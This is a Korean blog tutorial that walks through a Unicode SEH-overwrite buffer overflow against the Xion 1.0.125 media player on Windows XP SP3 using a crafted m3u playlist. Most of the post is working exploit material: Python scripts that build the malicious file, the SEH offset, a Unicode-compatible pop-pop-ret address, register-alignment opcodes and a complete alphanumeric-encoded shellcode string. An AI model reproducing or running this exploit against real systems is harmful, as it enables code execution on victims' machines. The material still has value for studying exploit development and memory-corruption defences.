Be myself :: 유니코드 익스플로잇

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

유니코드 기반 seh 익스플로잇

이번엔 페이로드를 입력 했을 때, 유니코드로 데이터가 메모리에 저장 될 때, 어떻게 해야 쉘을 실행 시킬 수 있을지 에 대한 내용을 다루어 보겠다. 이번에 익스플로잇 대상은 Xion 1.0.125이다. 이 프로그램은 http://www.exploit-db.com/exploits/14633/ 에서 다운 받을 수 있다. 또한 실행 환경은 windows xp sp3 영문버전이다.

이 프로그램은 m3u파일을 로드 시킬 때, 버퍼오버플로 취약점을 지닌 어플리케이션이다. 그렇다면, 늘 하던 대로 다음과 같이 파이썬 코드를 짜고 파일을 로드 시킨다.

dumy = "\x41"*5000
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

그 WinDbg로 실행시키면 seh구조체가 다음과 같이 바뀐걸 확인 할 수 있다.

자 이제 seh까지 오프셋 값을 확인 해야 하므로, msf의 pattern_create.rb 툴을 이용해 패턴을 생성한다.

dumy = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af(생략)"
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

seh구조체에서 앞의 4바이트를 따 확인을 해 보면 다음과 같다.

즉 offset 218만큼 버퍼와 seh구조체가 떨어져 있다. 그렇다면, 이제 일반적인 seh overwrite 공격을 위해 pop pop ret 가젯을 corelan팀이 만든 pvefindaddr이라는 이뮤니티 디버거 플러그인으로 찾는다.


pvefindaddr.py


(결과 화면)

여기서 유니코드로 변환 되었을 때, pop pop ret이 제대로 적용 될 수 있는 주소를 찾으면 다음과 같다.

즉, \x84\x47을 seh handler위치에다 주면, 0x47201E주소로 변환되어 pop pop ret을 수행하게 된다. 자 여기서, 일반적으로 nSeh에 jmp shellcode가 들어가지만, 여기선 유니코드로 데이터가 바뀌게 되므로, nop와 같이 별 의미 없는 명령어들을 넣어서 nSeh, Seh Handler를 넘어 쉘코드로 넘어갈 수 있도록 해보겠다. 그러기 위해 nSeh에 0x61과 0x71을 넣는다. 0x61은 popad 명령어 이고 0x71은 1바이트 명령어가 유니코드로 바뀌어 0x61 0x00 명령어가 실행되지 않는 것을 방지한다. 즉, 0x61 0x71이 유니코드로 바뀌면 0x61 0x00 0x71 0x00인데, 0x00 0x71 0x00은 add byte ptr [eax],dh 를 뜻하기 때문에 레지스터에 조금 조작이 들어갈 뿐 전체적인 프로그램의 흐름은 바뀌지 않는다.

다음과 같이 코딩하고 실행해 보면 쉘코드로 eip의 흐름이 이어지는 것을 확인 할 수 있다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
exception = "A"*5000
f = open("seh.m3u","w")

f.write(dumy+nextseh+seh+exception)

print("create complete !")
f.close()

Windbg로 확인한 결과다.

nSeh 영역을 지나 쉘코드(A로 덮인) 부분으로 가는 것을 볼 수 있다.

이제 유니코드로 인코딩된 쉘을 입력하고 실행시키면 끝이다. 근데 우리는 alpha2와 eax를 이용해 쉘코드를 만들고 실행 할 것이므로, eax를 쉘코드 위치로 가리키게 만들 필요가 있다. 위의 windbg화면을 보면 eax가 12f28c를 가리키므로 이를 이용하면 될 것 같다. 다음과 같이 어셈블리 명령어를 이용한다.

Add eax, 1001400
sub eax, 1001300
push eax
ret
이 때, eax값을 스택에서 확인해 이 부분에 쉘을 넣으면 공격 성공이다.

위에 보면 eax가 결국 12f38c로 설정되므로 eax를 세팅하는 명령어 어셈의 끝부분(12f2a8)에서 쉘코드 가 위치해야하는 주소(12f38c)까지의 오프셋 값은 0x12f38c – 0x12f2aa = 226 이므로, dumy 226을 더 추가하고 다음과 같이 익스플로잇 코드를 짠다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
addeax = "\x05\x14\x11"
padding = "\x6e"
subeax = "\x2d\x13\x11"
pusheax = "\x50"
ret = "\xc3"
shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARA"+"LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA"+"BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"+"KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX"+"LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7"+"TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP"+"KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4"+"M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K"+"KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM"+"2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU"+"7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"+"QQ2LRCM0LJA"
dumy2 = "A"*113
exception = "A"*5000
f = open("exploit.m3u","w")

f.write(dumy+nextseh+seh+addeax+padding+subeax+padding+pusheax+padding+ret+dumy2+shell+exception)

print("create complete !")
f.close()

실행 시키면 끝~

'Exploit' 카테고리의 다른 글

Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
Posted by flack3r
|